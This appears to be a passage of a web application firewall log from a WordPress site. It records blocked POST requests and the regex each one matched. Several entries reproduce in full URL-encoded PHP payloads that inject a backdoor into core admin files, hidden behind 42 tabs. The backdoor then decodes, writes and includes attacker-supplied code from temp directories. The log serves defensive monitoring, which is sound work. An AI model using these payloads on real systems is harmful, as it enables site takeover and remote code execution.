257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-ch-ua-platform:\"macOS\"\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-site:none\naccept:*\/*\nsec-fetch-mode:navigate\nupgrade-insecure-requests:1\nsec-fetch-user:?1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\ncontent-length:4590\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\naccept-encoding:gzip,deflate\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/edit-tag-form.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%2529%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2522t%255Cx6F%255Cx6Ben%2522%255D%2529%2529%257B%2520%2524item%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520%2524descriptor%2520%253D%2520%2524_REQUEST%255B%2522t%255Cx6F%255Cx6Ben%2522%255D%253B%2520%2524descriptor%2520%253D%2520explode%2520%2528%2520%2527.%2527%2520%252C%2520%2524descriptor%2520%2529%253B%2520%2524marker%2520%253D%2520%2527%2527%253B%2520%2524s%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524s%2520%2529%253B%2520%2524o%2520%253D%25200%253B%2520while%2528%2524o%253C%2520count%2528%2524descriptor%2529%2529%2520%257B%2520%2524v7%2520%253D%2520%2524descriptor%255B%2524o%255D%253B%2520%2524chS%2520%253D%2520ord%2528%2524s%255B%2524o%2520%2525%2520%2524sLen%255D%2520%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v7%2520-%2520%2524chS%2520-%2528%2524o%2520%2525%252010%2529%2529%2520%255E%25205%253B%2520%2524marker%2520.%253D%2520chr%2528%2524d%2520%2529%253B%2520%2524o%252B%252B%253B%2520%257D%2520while%2520%2528%2524comp%2520%253D%2520array_shift%2528%2524item%2529%2529%2520%257B%2520if%2520%2528is_dir%2528%2524comp%2529%2520%253F%2520is_writable%2528%2524comp%2529%2520%253A%2520false%2529%2520%257B%2520%2524reference%2520%253D%2520str_replace%2528%2522%257Bvar_dir%257D%2522%252C%2520%2524comp%252C%2520%2522%257Bvar_dir%257D\/.k%2522%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524reference%252C%2520%2524marker%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524reference%253B%2520unlink%2528%2524reference%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 09:48:22","212.87.197.20","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> PI:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/edit-tag-form.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%2529%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2522t%255Cx6F%255Cx6Ben%2522%255D%2529%2529%257B%2520%2524item%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520%2524descriptor%2520%253D%2520%2524_REQUEST%255B%2522t%255Cx6F%255Cx6Ben%2522%255D%253B%2520%2524descriptor%2520%253D%2520explode%2520%2528%2520%2527.%2527%2520%252C%2520%2524descriptor%2520%2529%253B%2520%2524marker%2520%253D%2520%2527%2527%253B%2520%2524s%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524s%2520%2529%253B%2520%2524o%2520%253D%25200%253B%2520while%2528%2524o%253C%2520count%2528%2524descriptor%2529%2529%2520%257B%2520%2524v7%2520%253D%2520%2524descriptor%255B%2524o%255D%253B%2520%2524chS%2520%253D%2520ord%2528%2524s%255B%2524o%2520%2525%2520%2524sLen%255D%2520%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v7%2520-%2520%2524chS%2520-%2528%2524o%2520%2525%252010%2529%2529%2520%255E%25205%253B%2520%2524marker%2520.%253D%2520chr%2528%2524d%2520%2529%253B%2520%2524o%252B%252B%253B%2520%257D%2520while%2520%2528%2524comp%2520%253D%2520array_shift%2528%2524item%2529%2529%2520%257B%2520if%2520%2528is_dir%2528%2524comp%2529%2520%253F%2520is_writable%2528%2524comp%2529%2520%253A%2520false%2529%2520%257B%2520%2524reference%2520%253D%2520str_replace%2528%2522%257Bvar_dir%257D%2522%252C%2520%2524comp%252C%2520%2522%257Bvar_dir%257D\/.k%2522%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524reference%252C%2520%2524marker%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524reference%253B%2520unlink%2528%2524reference%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\ncontent-length:4567\nsec-ch-ua-mobile:?0\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHRxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\n\nPI=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/edit-tag-form.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%2529%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2522t%255Cx6F%255Cx6Ben%2522%255D%2529%2529%257B%2520%2524item%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520%2524descriptor%2520%253D%2520%2524_REQUEST%255B%2522t%255Cx6F%255Cx6Ben%2522%255D%253B%2520%2524descriptor%2520%253D%2520explode%2520%2528%2520%2527.%2527%2520%252C%2520%2524descriptor%2520%2529%253B%2520%2524marker%2520%253D%2520%2527%2527%253B%2520%2524s%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524s%2520%2529%253B%2520%2524o%2520%253D%25200%253B%2520while%2528%2524o%253C%2520count%2528%2524descriptor%2529%2529%2520%257B%2520%2524v7%2520%253D%2520%2524descriptor%255B%2524o%255D%253B%2520%2524chS%2520%253D%2520ord%2528%2524s%255B%2524o%2520%2525%2520%2524sLen%255D%2520%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v7%2520-%2520%2524chS%2520-%2528%2524o%2520%2525%252010%2529%2529%2520%255E%25205%253B%2520%2524marker%2520.%253D%2520chr%2528%2524d%2520%2529%253B%2520%2524o%252B%252B%253B%2520%257D%2520while%2520%2528%2524comp%2520%253D%2520array_shift%2528%2524item%2529%2529%2520%257B%2520if%2520%2528is_dir%2528%2524comp%2529%2520%253F%2520is_writable%2528%2524comp%2529%2520%253A%2520false%2529%2520%257B%2520%2524reference%2520%253D%2520str_replace%2528%2522%257Bvar_dir%257D%2522%252C%2520%2524comp%252C%2520%2522%257Bvar_dir%257D\/.k%2522%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524reference%252C%2520%2524marker%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524reference%253B%2520unlink%2528%2524reference%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:48:25","103.143.207.18","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Bw:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/network\/index.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522%255Cx65%255Cx6Cem%2522%255D%2529%2529%257B%2520%2524parameter_group%2520%253D%2520array_filter%2528%255Bgetcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520%2524property_set%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522%255Cx65%255Cx6Cem%2522%255D%2529%253B%2520%2524mrk%2520%253D%2520%2527%2527%2520%253B%2520%2524h%2520%253D%25200%253B%2520do%257B%2524mrk%2520.%253D%2520chr%2528ord%2528%2524property_set%255B%2524h%255D%2529%2520%255E%25202%2529%253B%2524h%252B%252B%253B%257D%2520while%2528%2524h%2520%253C%2520strlen%2528%2524property_set%2529%2529%253B%2520for%2520%2528%2524symbol%2520%253D%25200%252C%2520%2524resource%2520%253D%2520count%2528%2524parameter_group%2529%253B%2520%2524symbol%2520%253C%2520%2524resource%253B%2520%2524symbol%252B%252B%2529%2520%257B%2520%2524dat%2520%253D%2520%2524parameter_group%255B%2524symbol%255D%253B%2520if%2520%2528%2521%2521is_dir%2528%2524dat%2529%2520%2526%2526%2520%2521%2521is_writable%2528%2524dat%2529%2529%2520%257B%2520%2524key%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524dat%252C%2520%2522.value%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524key%252C%2520%2524mrk%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524key%253B%2520unlink%2528%2524key%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-platform:\"macOS\"\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\ncontent-length:4087\nsec-ch-ua-mobile:?0\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvDapvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAioaEyoaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\n\nBw=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/network\/index.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522%255Cx65%255Cx6Cem%2522%255D%2529%2529%257B%2520%2524parameter_group%2520%253D%2520array_filter%2528%255Bgetcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520%2524property_set%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522%255Cx65%255Cx6Cem%2522%255D%2529%253B%2520%2524mrk%2520%253D%2520%2527%2527%2520%253B%2520%2524h%2520%253D%25200%253B%2520do%257B%2524mrk%2520.%253D%2520chr%2528ord%2528%2524property_set%255B%2524h%255D%2529%2520%255E%25202%2529%253B%2524h%252B%252B%253B%257D%2520while%2528%2524h%2520%253C%2520strlen%2528%2524property_set%2529%2529%253B%2520for%2520%2528%2524symbol%2520%253D%25200%252C%2520%2524resource%2520%253D%2520count%2528%2524parameter_group%2529%253B%2520%2524symbol%2520%253C%2520%2524resource%253B%2520%2524symbol%252B%252B%2529%2520%257B%2520%2524dat%2520%253D%2520%2524parameter_group%255B%2524symbol%255D%253B%2520if%2520%2528%2521%2521is_dir%2528%2524dat%2529%2520%2526%2526%2520%2521%2521is_writable%2528%2524dat%2529%2529%2520%257B%2520%2524key%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524dat%252C%2520%2522.value%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524key%252C%2520%2524mrk%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524key%253B%2520unlink%2528%2524key%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:48:31","77.65.47.245","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> PU:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/network\/index.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522%255Cx65%255Cx6Cem%2522%255D%2529%2529%257B%2520%2524parameter_group%2520%253D%2520array_filter%2528%255Bgetcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520%2524property_set%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522%255Cx65%255Cx6Cem%2522%255D%2529%253B%2520%2524mrk%2520%253D%2520%2527%2527%2520%253B%2520%2524h%2520%253D%25200%253B%2520do%257B%2524mrk%2520.%253D%2520chr%2528ord%2528%2524property_set%255B%2524h%255D%2529%2520%255E%25202%2529%253B%2524h%252B%252B%253B%257D%2520while%2528%2524h%2520%253C%2520strlen%2528%2524property_set%2529%2529%253B%2520for%2520%2528%2524symbol%2520%253D%25200%252C%2520%2524resource%2520%253D%2520count%2528%2524parameter_group%2529%253B%2520%2524symbol%2520%253C%2520%2524resource%253B%2520%2524symbol%252B%252B%2529%2520%257B%2520%2524dat%2520%253D%2520%2524parameter_group%255B%2524symbol%255D%253B%2520if%2520%2528%2521%2521is_dir%2528%2524dat%2529%2520%2526%2526%2520%2521%2521is_writable%2528%2524dat%2529%2529%2520%257B%2520%2524key%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524dat%252C%2520%2522.value%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524key%252C%2520%2524mrk%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524key%253B%2520unlink%2528%2524key%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 